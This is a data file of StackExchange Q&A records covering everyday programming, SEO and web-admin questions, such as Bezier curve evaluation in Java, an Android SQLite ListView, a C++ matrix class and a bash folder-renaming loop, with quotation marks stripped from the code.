{  "id": "_codereview.155781"  , "question": "The really stupid way to evaluate bezier curves is with recursion, which is \\$O(2^n)\\$, which can be lowered to \\$O(n^2)\\$ with memoization. De Casteljau's algorithm improves on this, and is still \\$O(n^2)\\$ but faster.I misinterpreted De Casteljau's and thought it was the Bernstein form:$$\\sum_{i=0}^{n-1}{\\binom{n}{i}p_i (1-t)^{n-i-1} t^i}$$Where there are \\$n\\$ control points including the start and end named \\$p_0, p_1,p_2, \\dots, p_{n-1}\\$.Calculating the combination is normally \\$O(n)\\$ which would make this algorithm as a whole \\$O(n^2)\\$ since there are \\$n\\$ terms to sum, however, there is a cheat:$$\\binom{n}{k}=\\prod_{i=1}^{k}{\\frac{n+1-i}{k}}$$We can store the result after each iteration, resulting in the entire sequence calculated in \\$O(n)\\$ time, making the algorithm as a whole \\$O(n)\\$.\\$2\\leq n\\leq 5\\$ is the general use case (2 and 4 probably actually), so it's hardcoded. For \\$n\\geq 6\\$, which uses this algorithm, I've done a ridiculous number of optimizations.The smallest double increment (one mantissa bit) is \\$2.2E{-16}\\$, and based on some quick benchmarks with random data it never was more inaccurate than \\$1E{-14}\\$, so the inaccuracy is acceptable.For very large \\$n\\$ (hundreds, 1200 was where I first saw it) the combination function exceeded the max value for doubles, causing the algorithm to return NaN, whereas De Casteljau's, though much slower, returned what was more or less the correct value.The final code:public static double bezier2(double a,double b,double t){    //Total of 3 floating point operations    //      1 2  3    return a+t*(b-a);}public static double bezier(double t,double... ds){    return bezier(ds,t);}public static double bezier(double[] ds,double t){    int count = ds.length;    switch(count){    case 0:throw new IllegalArgumentException(Must have at least two items to interpolate between);    case 1:return ds[0];    case 2:return bezier2(ds[0],ds[1],t);    case 3:{        double a = ds[0];        double b = ds[1];        double c = ds[2];        double t1 = 1d - t;        /*         * Hardcoded for n=3         * Total of 8+1=9 floating point operations         *       1  2  3 4  5  6 7 8         */        return (a*t1+2d*b*t)*t1+c*t*t;    }    case 4:{        double a = ds[0];        double b = ds[1];        double c = ds[2];        double d = ds[3];        double t1 = 1d - t;        /*         * Hardcoded for n=4         * Total of 13+1=9 floating point operations         *       1  2  3 4  5  6  7   8 9 10 11 12 13         */        return (a*t1+3d*b*t)*t1*t1+(3d*c*t1+d*t)*t*t;    }    case 5:{        double a = ds[0];        double b = ds[1];        double c = ds[2];        double d = ds[3];        double e = ds[4];        double t1 = 1d - t;        double i = t1*t1;        double j = t*t;        double k = t1*t;        double l = 4d*k;        /*         * Hardcoded for n=5         * Total of 12+5=17 floating point operations         *       1  2  3  4   5 6   7   8   9 10 11  12         */        return (a*i + b*l + 6d*c*j) * i + (d*l + e*j) * j;    }    case 6:    case 7:    case 8:    case 9:    case 10:    case 11:return decasteljauBezier(ds,t);    default:{        double t1 = 1d - t;        int n1 = count - 1;        int halfn = (n1>>1)+1;        int halfn1 = halfn+1;        double[] choose;        if(count<29){            choose = new double[halfn1];            int[] chooseInt = chooseIntRange(n1,halfn);            for(int i=0;i<halfn1;i++){                choose[i]=chooseInt[i];            }        }else if(count<60){            choose = new double[halfn1];            long[] chooseLong = chooseLongRange(n1,halfn);            for(int i=0;i<halfn1;i++){                choose[i]=chooseLong[i];            }        }else{            choose = chooseDoubleRange(n1,halfn);        }        double[] terms = new double[count];        double power = 1d;        for(int i=0;i<halfn;i++){            terms[i] = ds[i] * choose[i] * power;            power *= t;        }        for(int i=halfn;i<count;i++){            terms[i] = ds[i] * choose[n1-i] * power;            power *= t;        }        power = t1;        for(int i=1;i<count;i++){            terms[n1-i] *= power;            power *= t1;        }        double sum = 0d;        for(double v:terms){            sum += v;        }        return sum;    }    }}public static double decasteljauBezier(double[] ds,double t){    int n = ds.length;    double[] result = Arrays.copyOf(ds, n);    for(int i=n-1;i>0;i--){        for(int j=0;j<i;j++){            result[j]+=(result[j+1]-result[j])*t;        }    }    return result[0];}public static int[] chooseIntRange(int n,int k){    int n1 = n+1;    int product = 1;    int[] result = new int[k+1];    result[0] = 1;    for(int i=1;i<=k;i++){        product = product*(n1-i)/i;        result[i] = product;    }    return result;}public static long[] chooseLongRange(int n,int k){    int n1 = n+1;    int product = 1;    long[] result = new long[k+1];    result[0] = 1;    for(int i=1;i<=k;i++){        product = product*(n1-i)/i;        result[i] = product;    }    return result;}public static double[] chooseDoubleRange(int n,int k){    int n1 = n+1;    double product = 1d;    double[] result = new double[k+1];    result[0] = 1;    for(int i=1;i<=k;i++){        product = (product * (n1-i)) / i;        result[i] = product;    }    return result;}Notes:This was optimized by hand by me, and likely again by the compiler. It would explain how \\$2\\leq n\\leq 5\\$ was all roughly the same speed but \\$n=6\\$ then suddenly was \\$\\frac{1}{3}\\$ of the speed.These numbers aren't randomly chosen. They're based on the max values for ints and longs. It might be possible to increase these a bit (and therefore improve the algorithm ever so slightly) but I like safety.Semi-in-place De Casteljau's with all the optimizations I could think of. It's pretty fast but still \\$O(n^2)\\$.De Casteljau's was faster for \\$6\\leq n\\leq 11\\$, so I thought of redirecting. But as it turns out, the extra cost of that single if statement and a redirect call meant that it was only worth redirecting for \\$6\\leq n\\leq 9\\$. Even that redirect might be gone in the future with more optimizing. It's not like the time isn't comparable for such a small \\$n\\$.Beating \\$O(n)\\$ is definitely impossible, but I'm certain there is a better algorithm out there, or if not, a better way to implement this one. If not even that, surely there are optimizations I've missed."  , "title": "Bezier evaluation in O(n)"  , "tags": "java;performance;algorithm"  } 
{  "id": "_webmaster.17583"  , "question": "After setting up a blog at blogspot.com I added the site to my webmasters tools of google. I noticed an error: Restricted by robots.txt and looked a little into the matter. I found in the robots.txt of blogspot that Google prevents the /search directory by default in order to avoid duplicate entries in their search engine. As tags can be found under /search/label/SOME_TAG, these are not indexed too.I run different sites, especially one is an important e-commerce site for me. For each product, we use tags. Each tags leads to a separate site like /tags/tag1/ and lists all products that are linked to this tag. And this leads me to my question:Should I also block search and/or tag pages on my sites by using robots.txt?I feel google might punish my pagerank/results for using this low-quality content. However I think they are quite useful. We provide a short description of each tag and how the listed products can be used for the problem the tag describes.Moreover users landing on tags-pages have very high bounce rates (>90%), which is far above the average bounce rate.So, what is the best practice?"  , "title": "Search and Tags for robots.txt"  , "tags": "seo;google;pagerank;robots.txt"  , "accepted_answer": "I find a lot of pages in Google's search results from the various StackExchange sites that are the tag pages, most popular questions, etc. So it doesn't look like Google considers them to be low quality. I would leave them unblocked unless you see some sort of problem such as a Panda update having a very negative effect on your rankings. Otherwise these pages are a source of traffic, and although the bounce rate is high, you are receiving visitors who are going further into your site thanks to these pages being in the search results."  } 
{  "id": "_webmaster.96569"  , "question": "I'm building a website for my client's hospice center. Right now, she wants to have a landing page for each city that the hospice serves, but for the content on those pages to be identical (like, adding a city name to the main landing page). The reason for this is because her hospice is located in only one city but will send people up to about 50 miles away (encompassing several counties and cities).The end idea is to be able to search Hospice in {This City} and for her website to show up in the search listing (even if not local). My problem is that I'm afraid that if I just make multiple duplicate pages Google and other search engines will penalize the website and it won't show up at all.Right now, my thought is to create pages for each county with the cities listed (/locations/{county}/ will contain a list of all of the cites served, plus content on that county, or an About Us page). I've considered making each city a page (locations/{county}/{city}), but there isn't any way to add that much unique content.My issue seems similar to this one: Multiple index pages on website for multiple locations, SEO no-no?(even in that she has seen this behavior in competing websites).Here is an example of a hospice center that has multiple location pages with identical information: https://www.heartlandhospice.com/find-an-agency/So my basic question is: is there a safe way to do this (maybe besides unique content) or should I convince her that this is too dangerous of a practice?"  , "title": "How should I make my website rank for multiple cities?"  , "tags": "seo;google search;web development;local seo"  } 
{  "id": "_webapps.86130"  , "question": "I have an MSDN profile, with points, achievements etc.How can I unlink this from the currently linked Live ID (abc@outlook.com) and link to my other Live ID (xyz@outlook.com)?"  , "title": "How do you unlink your MSDN profile from your Microsoft Live ID?"  , "tags": "microsoft;microsoft account"  } 
{  "id": "_opensource.5178"  , "question": "How can I easily determine a project's dependencies' licenses? For example on my github repo which includes multiple open source softwares."  , "title": "Finding license dependencies from github repo"  , "tags": "licensing;github"  } 
{  "id": "_webapps.69190"  , "question": "How do I send questions to select (eg animal rights and animal rescue) groups on Twitter?"  , "title": "How do I send a questions to a select group of people on Twitter?"  , "tags": "twitter"  } 
{  "id": "_codereview.115332"  , "question": "I'm trying to get back into programming by building an app I've had in mind for quite a while. I've created an SQLite database and have managed to get some data in it. I'm trying to display the data inside a Listview, and whilst it is displaying, I'm concerned I've made things more difficult for myself for making the Listview display the data in a more coherent fashion.For reference, this is the tutorial I followed for creating my database: http://hmkcode.com/android-simple-sqlite-database-tutorial/My question basically boils down to this: Have I done this the easiest way so far? If not, what do I need to do to fix it?I'm also not entirely sure I'm populating the listview correctly in the Games class as I'm doing it in onCreate. I plan on having the ListView refresh when I insert a new row.This is my SQLiteHelper class:package bassios.initiativetracker;import android.content.ContentValues;import android.content.Context;import android.database.Cursor;import android.database.sqlite.SQLiteDatabase;import android.database.sqlite.SQLiteOpenHelper;import android.util.Log;import java.util.LinkedList;import java.util.List;import bassios.initiativetracker.model.Game;import bassios.initiativetracker.model.Player;public class SQLiteHelper extends SQLiteOpenHelper {private static final int DATABASE_VERSION = 1;private static final String DATABASE_NAME = InitiativeTracker;public SQLiteHelper(Context context) {    super(context, DATABASE_NAME, null, DATABASE_VERSION);}@Overridepublic void onCreate(SQLiteDatabase db) {    String CREATE_PLAYER_TABLE = CREATE TABLE Player ( +            playerId INTEGER PRIMARY KEY AUTOINCREMENT,  +            playerName TEXT,  +            characterName TEXT,  +            gameId INTEGER );    String CREATE_GAME_TABLE = CREATE TABLE Game ( +            gameId INTEGER PRIMARY KEY AUTOINCREMENT,  +            gameName TEXT,  +            gameSystem TEXT );    db.execSQL(CREATE_PLAYER_TABLE);    db.execSQL(CREATE_GAME_TABLE);}@Overridepublic void onUpgrade(SQLiteDatabase db, int oldVersion, int newVersion) {    db.execSQL(DROP TABLE IF EXISTS Player, Game);    this.onCreate(db);}/** * CRUD stuff follows *///Table Namesprivate static final String TABLE_PLAYER = Player;private static final String TABLE_GAME = Game;//Table Columns//Player Tableprivate static final String PLAYER_KEY_ID = playerId;private static final String PLAYER_KEY_PNAME = playerName;private static final String PLAYER_KEY_CNAME = characterName;private static final String PLAYER_KEY_GAMEID = gameId;//Game Tableprivate static final String GAME_KEY_ID = gameId;private static final String GAME_KEY_NAME = gameName;private static final String GAME_KEY_SYSTEM = gameSystem;//Columns Arrayprivate static final String[] PLAYER_COLUMNS = {PLAYER_KEY_ID, PLAYER_KEY_PNAME, PLAYER_KEY_CNAME, PLAYER_KEY_GAMEID};private static final String[] GAME_COLUMNS = {GAME_KEY_ID, GAME_KEY_NAME, GAME_KEY_SYSTEM};public void addGame(Game game) {    Log.d(addGame, game.toString());    SQLiteDatabase db = this.getWritableDatabase();    ContentValues values = new ContentValues();    values.put(GAME_KEY_NAME, game.getGameName());    values.put(GAME_KEY_SYSTEM, game.getGameSystem());    db.insert(TABLE_GAME,            null,            values);    db.close();}public void addPlayer(Player player) {    Log.d(addPlayer, player.toString());    SQLiteDatabase db = this.getWritableDatabase();    ContentValues values = new ContentValues();    values.put(PLAYER_KEY_PNAME, player.getPlayerName());    values.put(PLAYER_KEY_CNAME, player.getCharacterName());    values.put(PLAYER_KEY_GAMEID, player.getGameId());    db.insert(TABLE_PLAYER,            null,            values);    db.close();}public Game getGame(int id) {    SQLiteDatabase db = this.getReadableDatabase();    Cursor cursor = db.query(TABLE_GAME,            GAME_COLUMNS,            gameId = ? ,            new String[]{String.valueOf(id)},            null,            null,            null,            null);    if (cursor != null) {        cursor.moveToFirst();    }    Game game = new Game();    game.setGameId(Integer.parseInt(cursor.getString(0)));    game.setGameName(cursor.getString(1));    game.setGameSystem(cursor.getString(2));    Log.d(getGame( + id + ), game.toString());    return game;}public Player getPlayer(int id) {    SQLiteDatabase db = this.getReadableDatabase();    Cursor cursor = db.query(TABLE_PLAYER,            PLAYER_COLUMNS,            playerId = ? ,            new String[]{String.valueOf(id)},            null,            null,            null,            null);    if (cursor != null) {        cursor.moveToFirst();    }    Player player = new Player();    player.setPlayerId(Integer.parseInt(cursor.getString(0)));    player.setPlayerName(cursor.getString(1));    player.setCharacterName(cursor.getString(2));    player.setGameId(Integer.parseInt(cursor.getString(3)));    Log.d(getPlayer( + id + ), player.toString());    return player;}public List<Game> getAllGames() {    List<Game> games = new LinkedList<>();    String query = SELECT * FROM  + TABLE_GAME;    SQLiteDatabase db = getWritableDatabase();    Cursor cursor = db.rawQuery(query, null);    Game game;    if (cursor.moveToFirst()) {        do {            game = new Game();            //game.setGameId(Integer.parseInt(cursor.getString(0)));            game.setGameName(cursor.getString(1));            game.setGameSystem(cursor.getString(2));            games.add(game);        } while (cursor.moveToNext());    }    Log.d(getAllGames(), games.toString());    return games;}public List<Player> getAllPlayers() {    List<Player> players = new LinkedList<>();    String query = SELECT * FROM  + TABLE_PLAYER;    SQLiteDatabase db = getWritableDatabase();    Cursor cursor = db.rawQuery(query, null);    Player player = null;    if (cursor.moveToFirst()) {        do {            player = new Player();            player.setPlayerId(Integer.parseInt(cursor.getString(0)));            player.setPlayerName(cursor.getString(1));            player.setCharacterName(cursor.getString(2));            player.setGameId(Integer.parseInt(cursor.getString(3)));            players.add(player);        } while (cursor.moveToNext());    }    Log.d(getAllPlayers(), players.toString());    return players;}public int updateGame(Game game) {    SQLiteDatabase db = getWritableDatabase();    ContentValues values = new ContentValues();    values.put(gameName, game.getGameName());    values.put(gameSystem, game.getGameSystem());    int i = db.update(TABLE_GAME, values, GAME_KEY_ID +  = ?, new String[]{String.valueOf(game.getGameId())});    db.close();    return i;}public int updatePlayer(Player player) {    SQLiteDatabase db = getWritableDatabase();    ContentValues values = new ContentValues();    values.put(playerName, player.getPlayerName());    values.put(characterName, player.getCharacterName());    values.put(gameId, player.getGameId());    int i = db.update(TABLE_PLAYER, values, PLAYER_KEY_ID +  = ?, new String[]{String.valueOf(player.getPlayerId())});    db.close();    return i;}public void deleteGame(Game game) {    SQLiteDatabase db = getWritableDatabase();    db.delete(TABLE_GAME, GAME_KEY_ID +  = ?, new String[]{String.valueOf(game.getGameId())});    db.close();    Log.d(deleteGame , game.toString());}public void deletePlayer(Player player) {    SQLiteDatabase db = getWritableDatabase();    db.delete(TABLE_PLAYER, PLAYER_KEY_ID +  = ?, new String[]{String.valueOf(player.getPlayerId())});    db.close();    Log.d(deletePlayer , player.toString());  }}Game POJO class:package bassios.initiativetracker.model;public class Game {private int gameId;private String gameName;private String gameSystem;public Game() {}public Game(String gameName, String gameSystem) {    super();    this.gameName = gameName;    this.gameSystem = gameSystem;}public int getGameId(){    return gameId;}public void setGameId(int gameId){    this.gameId = gameId;}public String getGameName() {    return gameName;}public String getGameSystem() {    return gameSystem;}public void setGameName(String gameName) {    this.gameName = gameName;}public void setGameSystem(String gameSystem) {    this.gameSystem = gameSystem;}@Overridepublic String toString() {    return  gameName + :  + gameSystem;}}Games class:package bassios.initiativetracker;import android.app.AlertDialog;import android.content.DialogInterface;import android.os.Bundle;import android.support.design.widget.FloatingActionButton;import android.support.design.widget.Snackbar;import android.support.v7.app.AppCompatActivity;import android.support.v7.widget.Toolbar;import android.view.LayoutInflater;import android.view.View;import android.widget.ArrayAdapter;import android.widget.Button;import android.widget.EditText;import android.widget.ListView;import java.util.List;import bassios.initiativetracker.model.Game;public class Games extends AppCompatActivity {EditText gameName;EditText gameSystem;@Overrideprotected void onCreate(Bundle savedInstanceState) {    super.onCreate(savedInstanceState);    setContentView(R.layout.activity_game);    Toolbar toolbar = (Toolbar) findViewById(R.id.toolbar);    setSupportActionBar(toolbar);    ListView listContent = (ListView) findViewById(R.id.gamesListView);    FloatingActionButton fab = (FloatingActionButton) findViewById(R.id.fab);    fab.setOnClickListener(new View.OnClickListener() {        @Override        public void onClick(View view) {            showAddGameDialog();        }    });    SQLiteHelper db = new SQLiteHelper(this);    List<Game> game;    game = db.getAllGames();    ArrayAdapter adapter = new ArrayAdapter(this, android.R.layout.simple_expandable_list_item_1, game);    listContent.setAdapter(adapter);    getSupportActionBar().setDisplayHomeAsUpEnabled(true);}public void saveGame(String gameName, String gameSystem) {    SQLiteHelper db = new SQLiteHelper(this);    db.addGame(new Game(gameName, gameSystem));}public void showAddGameDialog() {    AlertDialog.Builder dialogBuilder = new AlertDialog.Builder(this);    LayoutInflater inflater = this.getLayoutInflater();    final View dialogView = inflater.inflate(R.layout.save_game_dialog, null);    dialogBuilder.setView(dialogView)            .setTitle(Create Game)            .setMessage(Enter game details)            .setPositiveButton(getResources().getString(R.string.game_save), null)            .setNegativeButton(getResources().getString(R.string.cancel), null);    final AlertDialog b = dialogBuilder.create();    b.setOnShowListener(new DialogInterface.OnShowListener() {        @Override        public void onShow(DialogInterface dialog) {            Button saveGame = b.getButton(AlertDialog.BUTTON_POSITIVE);            saveGame.setOnClickListener(new View.OnClickListener() {                @Override                public void onClick(View view) {                    String gameName = ((EditText) dialogView.findViewById(R.id.gameNameField)).getText().toString();                    String gameSystem = ((EditText) dialogView.findViewById(R.id.gameSystemField)).getText().toString();                    if (gameName.isEmpty()) {                        Snackbar.make(view, Please enter a game name, Snackbar.LENGTH_LONG).setAction(Action, null).show();                    } else {                        if (gameSystem.isEmpty()) {                            Snackbar.make(view, Please enter a game system, Snackbar.LENGTH_LONG).setAction(Action, null).show();                        } else {                            saveGame(gameName, gameSystem);                            b.dismiss();                        }                    }                }            });        }    });    b.show();}}"  , "title": "Listview from SQLite"  , "tags": "java;android"  } 
{  "id": "_softwareengineering.331168"  , "question": "I was hoping on a suggestion about whether forking or branching was better for this particular use case. I work with a professor and have created a jupyter notebook for some of our research. The notebook is hosted on a server on our cluster, and the professor makes periodic changes to the notebook including changes to some of the code etc.I on the other hand maintain the notebook code and am always adding new features and such.The challenge is keeping our changes in sync. So if she is working on some updates to the notebook and I am working on some updates--it is hard to keep the notebooks in sync.My thought was to create a fork of the notebook for her. Then I can pull in her changes through periodic pull requests. But I was not sure if trying to setup a separate branch for her would be better. In my mind, a branch is more for working on a feature and then merging it back into the original--not for a continual processes of change and synchronization.Any suggestions?"  , "title": "should I fork or branch in a use case where I and a collaborator make changes to jupyter notebooks"  , "tags": "git;branching;forking"  } 
{  "id": "_softwareengineering.317049"  , "question": "I want to use a ShowMessageAsync method, but, at first sight, there is no obvious way to do ViewModel binding, even though there are already a certain number of answers and examples about this.Now, for a classical, standard Status TextBlock, <TextBlock x:Name=TbStatusMsg Text={Binding StatusMsg} VerticalAlignment=Bottom  Height=20           TextAlignment=Center HorizontalAlignment=Stretch />I would have had the usual Property in the ViewModel:private string statusMsg;public string StatusMsg {    get { return statusMsg; }    set {         statusMsg = value;        OnPropertyChanged(() => StatusMsg);     }}public void ClearMsg(){    StatusMsg = ;}and I think (from an abstract viewpoint) that it would make sense to keep it as such (can always make TextBlock Visibility=Hidden) because I believe that the way the message is shown it's only up to the View, so, in other words, I'm going to manage it through an UI event handler:    public Window1(){    InitializeComponent();    DataContext = viewModel;    DependencyPropertyDescriptor dp = DependencyPropertyDescriptor.FromProperty(TextBlock.TextProperty, typeof(TextBlock));    dp.AddValueChanged(TbStatusMsg, async (object a, EventArgs b) =>    {        if (TbStatusMsg.Text.Length == 0)        {            return;        }        await this.ShowMessageAsync(Message, TbStatusMsg.Text);        viewModel.ClearMsg();    });}Do you have any criticism or any conceptual reason why this wouldn't be fine?Well, my only reservation is that a light attached property (a simple text to do the binding) could be a cleaner replacement of the TextBox - unless it is really part of the View design."  , "title": "MVVM approach to mahapps.metro Dialogs"  , "tags": "c#;mvvm;metro"  } 
{  "id": "_cs.53909"  , "question": "I'm a third year computer science student. I'm working on a project Data-show touch screen In schools classrooms.I'll try to explain my problem as much as I can. The project has three main components; A computer, a Data-show and a webcam.The teacher will plug the data-show in the computer and the computer screen will appear on the wall of the classroom to all students.The main purpose of the project is to turn the image of the screen displayed on the classroom wall into interactive screen; when the teacher tabs with his finger on an image of a Button displayed on the wall, the webcam that is connected to the computer will capture the position of the teacher's finger and find his (x,y) coordinates for a reference point on the wall, and raise a click event in the related (x,y) position on the screen.The screen of the computer has two dimensions; Width->X and Height->Y. And for every point in the screen such as P, it could be located on the screen using two numbers (Px,Py), where Px is the distance between the point P and the left side of the screen, and Py is the distance between the point P and the top side of the screen. In other words, the reference for all points in the screen is the top left corner of the screen.The data-show will display an irregular Quadrilateral shape of the screen on the wall. the shapes will not be regular squares or rectangles due to the angle that the teacher puts the data-show in. What I'm asking for are the equations that will calculate the (x,y) point on the screen that represents the (x,y) tapped point on the wall.There is mainly four shapes the data-show may display on the wall. For each shape of them the only known things are the coordinates of the four angles(corners) of the quadrilateral shape.1. an optimal rectangleThe displayed image on wall has a very low chance to shape an optimal rectangle, but it's the basic shape that could be formed.Suppose that the red point P'(Px',Py') represents the coordinates of the place the teacher tapped on with his finger.To get the original (Px,Py) coordinates from the point (Px',Py') on the wall, I can do the following.Calculate the width->X' and the height->Y' of the displayed image by the law of distance between two points.find the ratio between X&X', and between Y&Y'. I'll call the first ratio rx and the second ratio ry.Multiply Px' by rx to get Px, and multiply Py' by ry to get Py. 2. an optimal trapezoidal.The displayed image on wall could also shape an optimal trapezoidal. I asked some of my friends from the applied mathematics college to help me to find the two equations to find the original coordinates of the point, and they did some calculations and came out with these two equations;In this shape To find X:and to find Y I can use the same way used in the rectangle; finding the ratio between Y and the height of the trapezoidal H.3. an irregular quadrilateral.My question is about this shape, the data-show in most times will shape an irregular shape. Imagine this shape likeNone of the shape's lines is vertical or horizontal, all lines may have different lengths and they may have different angels from each other.My question isI'm searching for equations that will find the original P(x,y) point of the point P'(X',Y'). Things I know are the coordinates of the points P1, P2, P3, P4, P'What are those equations? and how are they derived?"  , "title": "How to find the original coordinates of a point inside an irregular rectangle?"  , "tags": "computational geometry"  } 
{  "id": "_codereview.143993"  , "question": "I make a 2D matrix class (where matrix elements are of type float) which so far can:Create a matrix of zeros of any size by typing Matrix2D myMatrix(n,m) where n is row size and m is column size (default is 1)Create a matrix based on an initializer list, for example Matrix2D myMatrix({{1,2},{3,4}}) creates the matrix$$\\texttt{myMatrix} = \\begin{bmatrix}1 & 2 \\\\ 3 & 4\\end{bmatrix}$$Delete row i of a matrix by typing myMatrix.removeRow(i)Delete column i of a matrix by typing myMatrix.removeColumn(i)Concatenate two Matrix2D matrices A and B horizontally by typing A.horzcat(B)Concatenate two Matrix2D matrices A and B vertically by typing A.vertcat(B)Do matrix equality by overloading the = operatorAccess a matrix element by overloading the () operator, e.g. A(i,j)Do matrix addition by overloading the + operatorHere is my code:#ifndef _MATRIXCLASS2_HPP#define _MATRIXCLASS2_HPP// System includes#include <iostream>#include <vector>#include <cstdio>// Personal includes#include exceptionClass.hppusing namespace std;/******************************* * Matrix class: definition *******************************/typedef float type;typedef vector<vector<type> > vector2D;typedef vector<type> vector1D;class Matrix2D {private:    vector2D _matrix; // the matrix itself, a two-dimensional vectorpublic:    /* Constructors */    Matrix2D(size_t numRows=1, size_t numCols=1) : _matrix(vector2D(numRows, vector1D(numCols))) {} // zero matrix    explicit Matrix2D(const initializer_list<initializer_list<type> > & matrixAsAList) {    // matrix given by brace enclosed initializer list, e.g. {{1,2},{3,4}}    _matrix.assign(matrixAsAList.begin(), matrixAsAList.end());    }    Matrix2D(const Matrix2D & matrixToCopy) : _matrix(matrixToCopy._matrix) {}    /* Getters */    vector2D fullMatrix() const { return _matrix; } // output the full matrix    size_t numRows() const { return _matrix.size(); }    size_t numColumns() const { return _matrix[0].size(); }    void print() const;    /* Setters */    void removeRow(size_t);    void removeColumn(size_t);    void horzcat(const Matrix2D &); // horizontal matrix concatenation    void vertcat(const Matrix2D &); // vertical matrix concatenation    /* Operator overloads */    type & operator () (size_t, size_t);    Matrix2D & operator = (const Matrix2D &);    Matrix2D & operator + (Matrix2D &);};// Print the whole matrixvoid Matrix2D::print() const {    for (size_t i=0; i<numRows(); i++) { // iterate over rows    printf([ );    for (size_t j=0; j<numColumns(); j++) { // iterate over columns        printf(%.3f ,_matrix[i][j]);    }    printf(]\\n);    }}// Delete rowvoid Matrix2D::removeRow(size_t row) {    if (row>=numRows()) {    throw E(Row number for deletion is out of range, not going to delete anything);    } else {    _matrix.erase(_matrix.begin()+row); // delere row (NB: .erase() decrements both size and capacity)    }}// Delete column number columNumbervoid Matrix2D::removeColumn(size_t column) {    if (column>=numColumns()) {    throw E(Column number for deletion is out of range, not going to delete anything);    } else {    for (size_t i=0; i<numRows(); i++) { // iterate over rows        _matrix[i].erase(_matrix[i].begin()+column); // delete element in column    }    }}// Horizontally concatenate matrix with another matrix, matrix2void Matrix2D::horzcat(const Matrix2D & matrix2) {    if (numRows() != matrix2.numRows()) {    throw E(Row sizes do not correspond, cannot concatenate matrices!);    } else {    for (size_t i=0; i<numRows(); i++) {        // reserve necessary space (reserve throws length_error exception if unable to do so)        _matrix[i].reserve(_matrix[i].size()+matrix2._matrix[i].size());        // append matrix2 row i to end of matrix row i        _matrix[i].insert(_matrix[i].end(), matrix2._matrix[i].begin(), matrix2._matrix[i].end());    }    }}// Vertically concatenate matrix with another matrix, matrix2void Matrix2D::vertcat(const Matrix2D & matrix2) {    if (numColumns() != matrix2.numColumns()) {    throw E(Columnn sizes do not correspond, cannot concatenate matrices!);    } else {    // reserve necessary space (reserve throws length_error exception if unable to do so)    _matrix.reserve(_matrix.size()+matrix2._matrix.size());    // append matrix2 to the bottom of matrix    _matrix.insert(_matrix.end(), matrix2._matrix.begin(), matrix2._matrix.end());    }}// Overload (), get element at row and column of _matrixtype & Matrix2D::operator () (size_t row, size_t column) {    return _matrix.at(row).at(column);}// Overload =Matrix2D & Matrix2D::operator = (const Matrix2D & rhs) {    if (this != &rhs) {    _matrix = rhs._matrix;    }    return *this;}// Overload + (matrix addition)Matrix2D & Matrix2D::operator + (Matrix2D & rhs) {    // compute result = matrix + rhs    static Matrix2D result; // initialize the result in static storage (safer & more efficient)    result = *this; // copy matrix intro result    if (rhs.numRows() != numRows() || rhs.numColumns() != numColumns()) {    // throw error if rhs column or row size does not match matrix    throw E(Row of column size mismatch, won't add matrix.);    }    // perform matrix addition    for (size_t i=0; i<numRows(); i++) {    for (size_t j=0; j<numColumns(); j++) {        result(i,j) += rhs(i,j);    }    }    return result;}#endif // _MATRIXCLASS2_HPPThe exceptionClass.hpp header is pretty simple:#ifndef _EXCEPTIONCLASS_H#define _EXCEPTIONCLASS_H#include <exception>class E: public std::exception {private:    const char * message = nullptr;    E(){}; // such a constructor not possible!public:    explicit E(const char * s) throw() : message(s) {}    const char * what() const throw() { return message; }};#endif // _EXCEPTIONCLASS_HThis is my first ever object-oriented project. I'm looking for any advice on how I can improve my code in terms of efficiency/readability/portability. Thank you!"  , "title": "C++ small 2D matrix class"  , "tags": "c++;performance;object oriented;c++11;portability"  } 
{  "id": "_unix.254335"  , "question": "I have a folder with lots of subfolders, that contain two times the same but slightly different:Movie1 {Action}{Adventure}{Sci-Fi}{Thriller}{Science Fiction}/Movie2 {Action}{Adventure}{Thriller}{Science Fiction}/Movie3 {Action}{Adventure}{Thriller}{Sci-Fi}}/Movie4 {Action}{Adventure}{Thriller}/How do I unify these by deleting the part {Science Fiction} where {Sci-Fi} already exists, renaming the fodlers that dont't contain {Sci-Fi} but only {Science Fiction}?I would go for a for loop:for f in *; do  if [ *{Science Fiction}* == $f ] && [ *{Sci-Fi}* == $f ]; then    #delete the {Science Fiction} part  else ...  fidoneBut that doesn't seem very elegant. is there a cleaner solution?"  , "title": "rename all files in a folder deleting duplicate string-parts"  , "tags": "bash;rename;batch jobs"  , "accepted_answer": "You can use sed to remove the duplicates from string:for f in *; do  r=$(echo $f | sed -r s/(.*)(\\{Sci-Fi\\}|\\{Science Fiction\\})(.*)(\\{Sci-Fi\\}|\\{Science Fiction\\})(.*)/\\1\\2\\3\\5/g);  echo $r;doneReplace echo $f with mv $f $r if you like the output.The above sed line will take the first matching word and remove the second, if you want to always priorize Sci-Fi over Science Fiction, even when only Science Fiction exists, you can do it in two steps:for f in *; do  r=$(echo $f | sed s/{Science Fiction}/{Sci-Fi}/);  s=$(echo $r | sed -r s/(.*)(\\{Sci-Fi\\})(.*)(\\{Sci-Fi\\})(.*)/\\1\\2\\3\\5/g);  if [ $f != $s ]; then    echo moving  $f  to  $s  fidone"  } 
{  "id": "_softwareengineering.234564"  , "question": "We follow pair programming in our company and always face the issue of balanced and effective pair rotation within the developers on stories.We follow a simple metrics in which every developer's name is mapped with every other developer and we mark the respective intersection whenever two developers are pairing. This is not working out well, we cannot track how much time a pair has spent pairing and people forget to update the metrics many times. Tracking the pair rotation is helpful because we want the project knowledge to be shared across the team, and not just one pair. So usually what happens is, whoever is pairing keeps pairing till the entire story is completed (given they have better context), and no body else knows about what is being done & if the story or a regression/production bug comes back, the same pair has to pick it up (leaving whatever they are currently doing), which is what creates a bottleneck.Are there any known metrics that can be used for tracking the pair rotations."  , "title": "Pair Rotation in a team for effective pair programming"  , "tags": "agile;pair programming;extreme programming"  } 
{  "id": "_webmaster.14872"  , "question": "I installed xampp this evening and none of my PHP pages will display.I am storing all my pages in the htdocs folder as directed too and calling via http://localhost/index.php and nothing appears? All systems are online. Is there anything else that should have been done before copying over my pages?i'm using a MAC. I've tried putting my files in there in another file aswell but nothing displays! I get this error:Warning: Unknown: failed to open stream: Permission denied in Unknown on line 0  Fatal error: Unknown: Failed opening required '/Applications/XAMPP/xamppfiles/htdocs/XXXXXXX/index.php' (include_path='.:/Applications/XAMPP/xamppfiles/lib/php:/Applications/XAMPP/xamppfiles/lib/php/pear') in Unknown on line 0 Any ideas? Very new to PHP and Xampp!"  , "title": "Xampp not displaying PHP pages in htdocs due to failed to open stream: Permission denied"  , "tags": "php;localhost;xampp"  } 
